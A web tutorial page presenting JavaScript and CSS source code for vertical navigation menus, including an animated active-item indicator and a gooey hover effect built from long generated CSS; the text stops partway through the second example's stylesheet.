This post contains a total of 7+ Hand-Picked JavaScript Vertical Menu Examples with Source Code. All these Vertical menus are made using JavaScript and Styled using CSS.
You can use the source code of these examples with credits to the original owner.
Related Posts
JavaScript Vertical Menu Examples
1. By Sheelah Brennan
Made by Sheelah Brennan. Animated JavaScript Vertical Menu with Active Item Indicator. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<link href="https://fonts.googleapis.com/css?family=Oswald:600,700" rel="stylesheet">
<style>
body {
font-size: 100%;
background: #1d1d31;
color: #fff;
}
.ul--reset {
list-style-type: none;
margin: 0;
padding: 0;
}
.vertical-menu {
font-family: "Oswald", sans-serif;
text-transform: uppercase;
width: 220px;
}
.vertical-menu-wrapper {
max-width: 230px;
margin: 50px auto;
display: flex;
position: relative;
}
.active-marker {
transition: transform 0.4s;
width: 5px;
background-image: linear-gradient(90deg, #ff5e5e, #f54985);
background-size: 100%;
height: 30px;
margin-left: 7px;
transform: translateY(0px);
}
.vertical-menu-item {
font-size: 1.1em;
color: #fff;
transition: all 0.4s;
height: 41px;
text-align: right;
}
.vertical-menu-item.is-active {
font-size: 1.4em;
}
.link--inverse-menu {
color: #fff;
text-decoration: none;
}
.link--inverse-menu:visited {
color: #fff;
}
.link--inverse-menu:hover, .link--inverse-menu:active {
color: #d3d3d3;
}
</style>
</head>
<body>
<div class='vertical-menu-wrapper'>
<ul class="vertical-menu ul--reset">
<li class="vertical-menu-item is-active">
<a class="link--inverse-menu" data-vertical="1" href="">This is the Day</a>
</li>
<li class="vertical-menu-item">
<a class="link--inverse-menu" data-vertical="2" href="">Hello World</a>
</li>
<li class="vertical-menu-item">
<a class="link--inverse-menu" data-vertical="3" href="">Just Don't Forget</a>
</li>
<li class="vertical-menu-item">
<a class="link--inverse-menu" data-vertical="4" href="">Us vs. Them</a>
</li>
<li class="vertical-menu-item">
<a class="link--inverse-menu" data-vertical="5" href="">Flavor of the Month</a>
</li>
<li class="vertical-menu-item">
<a class="link--inverse-menu" data-vertical="6" href="">Things We're Loving</a>
</li>
</ul>
<i class='active-marker'>
</div>
<script>
const getItemOffset = item => {
return item.offsetTop;
};
const moveMarker = offset => {
const marker = document.querySelector('.active-marker');
marker.style.transform = `translateY(${offset}px)`;
};
const toggleActive = e => {
e.preventDefault();
// Remove any existing active classes
const links = document.querySelectorAll('.vertical-menu-item');
links.forEach(link => link.classList.remove('is-active'));
// Add class to active link
const activeItem = e.target.parentElement;
activeItem.classList.toggle('is-active');
const offset = getItemOffset(activeItem);
moveMarker(offset);
};
// Attach click event listener
const menu = document.querySelector('.vertical-menu');
menu.addEventListener('click', toggleActive);
</script>
</body>
</html>2. By Vincent Durand
Made by Vincent Durand. Vertical menu with gooey effect on hover. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<style>
@import url("https://fonts.googleapis.com/css2?family=Open+Sans:[email protected]&display=swap");
body {
background: #eaeef6;
font-family: "Open Sans", sans-serif;
}
.navbar {
position: fixed;
top: 1rem;
left: 1rem;
background: #fff;
border-radius: 10px;
padding: 1rem 0;
box-shadow: 0 0 40px rgba(0, 0, 0, 0.03);
height: calc(100vh - 4rem);
}
.navbar__link {
position: relative;
display: flex;
align-items: center;
justify-content: center;
height: 3.5rem;
width: 5.5rem;
color: #6a778e;
transition: 250ms ease all;
}
.navbar__link span {
position: absolute;
left: 100%;
transform: translate(-3rem);
margin-left: 1rem;
opacity: 0;
pointer-events: none;
color: #406ff3;
background: #fff;
padding: 0.75rem;
transition: 250ms ease all;
border-radius: 17.5px;
}
.navbar__link:hover {
color: #fff;
}
.navbar:not(:hover) .navbar__link:focus span, .navbar__link:hover span {
opacity: 1;
transform: translate(0);
}
.navbar__menu {
position: relative;
}
.navbar__item:last-child:before {
content: "";
position: absolute;
opacity: 0;
z-index: -1;
top: 0;
left: 1rem;
width: 3.5rem;
height: 3.5rem;
background: #406ff3;
border-radius: 17.5px;
transition: 250ms cubic-bezier(1, 0.2, 0.1, 1.2) all;
}
.navbar__item:first-child:nth-last-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(1) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(1):last-child:hover:before, .navbar__item:first-child:nth-last-child(1) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(1):last-child:hover:before, .navbar__item:first-child:nth-last-child(1) ~ li:last-child:hover:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(2) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(2):last-child:hover:before, .navbar__item:first-child:nth-last-child(2) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(2):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(2) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(2):last-child:hover:before, .navbar__item:first-child:nth-last-child(2) ~ li:last-child:hover:before {
top: 50%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(3) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(3):last-child:hover:before, .navbar__item:first-child:nth-last-child(3) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(3):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(3) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(3):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(3) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 33.3333333333%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(3):last-child:hover:before, .navbar__item:first-child:nth-last-child(3) ~ li:last-child:hover:before {
top: 66.6666666667%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(4):last-child:hover:before, .navbar__item:first-child:nth-last-child(4) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(4):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(4):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 25%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(4):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 50%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(4):last-child:hover:before, .navbar__item:first-child:nth-last-child(4) ~ li:last-child:hover:before {
top: 75%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(5):last-child:hover:before, .navbar__item:first-child:nth-last-child(5) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(5):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(5):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 20%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(5):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 40%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(5):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 60%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(5):last-child:hover:before, .navbar__item:first-child:nth-last-child(5) ~ li:last-child:hover:before {
top: 80%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(6):last-child:hover:before, .navbar__item:first-child:nth-last-child(6) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(6):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(6):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 16.6666666667%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(6):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 33.3333333333%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(6):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 50%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(6):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(5):hover ~ li:last-child:before {
top: 66.6666666667%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(6):last-child:hover:before, .navbar__item:first-child:nth-last-child(6) ~ li:last-child:hover:before {
top: 83.3333333333%;
animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(7):last-child:hover:before, .navbar__item:first-child:nth-last-child(7) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(7):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 14.2857142857%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 28.5714285714%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 42.8571428571%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(5):hover ~ li:last-child:before {
top: 57.1428571429%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(6):hover ~ li:last-child:before {
top: 71.4285714286%;
animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(7):last-child:hover:before, .navbar__item:first-child:nth-last-child(7) ~ li:last-child:hover:before {
top: 85.7142857143%;
animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(8):last-child:hover:before, .navbar__item:first-child:nth-last-child(8) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(8):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 12.5%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 25%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 37.5%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(5):hover ~ li:last-child:before {
top: 50%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(6):hover ~ li:last-child:before {
top: 62.5%;
animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(7):hover ~ li:last-child:before {
top: 75%;
animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(8):last-child:hover:before, .navbar__item:first-child:nth-last-child(8) ~ li:last-child:hover:before {
top: 87.5%;
animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(9):last-child:hover:before, .navbar__item:first-child:nth-last-child(9) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(9):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 11.1111111111%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 22.2222222222%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 33.3333333333%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(5):hover ~ li:last-child:before {
top: 44.4444444444%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(6):hover ~ li:last-child:before {
top: 55.5555555556%;
animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(7):hover ~ li:last-child:before {
top: 66.6666666667%;
animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):nth-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(8):hover ~ li:last-child:before {
top: 77.7777777778%;
animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(9):last-child:hover:before, .navbar__item:first-child:nth-last-child(9) ~ li:last-child:hover:before {
top: 88.8888888889%;
animation: gooeyEffect-9 250ms 1;
}
@keyframes gooeyEffect-9 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(10):last-child:hover:before, .navbar__item:first-child:nth-last-child(10) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(10):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 10%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 20%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 30%;
animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(5):hover ~ li:last-child:before {
top: 40%;
animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(6):hover ~ li:last-child:before {
top: 50%;
animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(7):hover ~ li:last-child:before {
top: 60%;
animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(8):hover ~ li:last-child:before {
top: 70%;
animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):nth-child(9):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(9):hover ~ li:last-child:before {
top: 80%;
animation: gooeyEffect-9 250ms 1;
}
@keyframes gooeyEffect-9 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(10):last-child:hover:before, .navbar__item:first-child:nth-last-child(10) ~ li:last-child:hover:before {
top: 90%;
animation: gooeyEffect-10 250ms 1;
}
@keyframes gooeyEffect-10 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:hover ~ li:last-child:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(11):last-child:hover:before, .navbar__item:first-child:nth-last-child(11) ~ li:last-child:hover:before {
opacity: 1;
}
.navbar__item:first-child:nth-last-child(11):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(1):hover ~ li:last-child:before {
top: 0%;
animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(2):hover ~ li:last-child:before {
top: 9.0909090909%;
animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(3):hover ~ li:last-child:before {
top: 18.1818181818%;
animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
0% {
transform: scale(1, 1);
}
50% {
transform: scale(0.5, 1.5);
}
100% {
transform: scale(1, 1);
}
}
.navbar__item:first-child:nth-last-child(11):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:nth-child(4):hover ~ li:last-child:before {
top: 27.2727272727%;
animation: gooeyEffect-4 250ms 1;
}
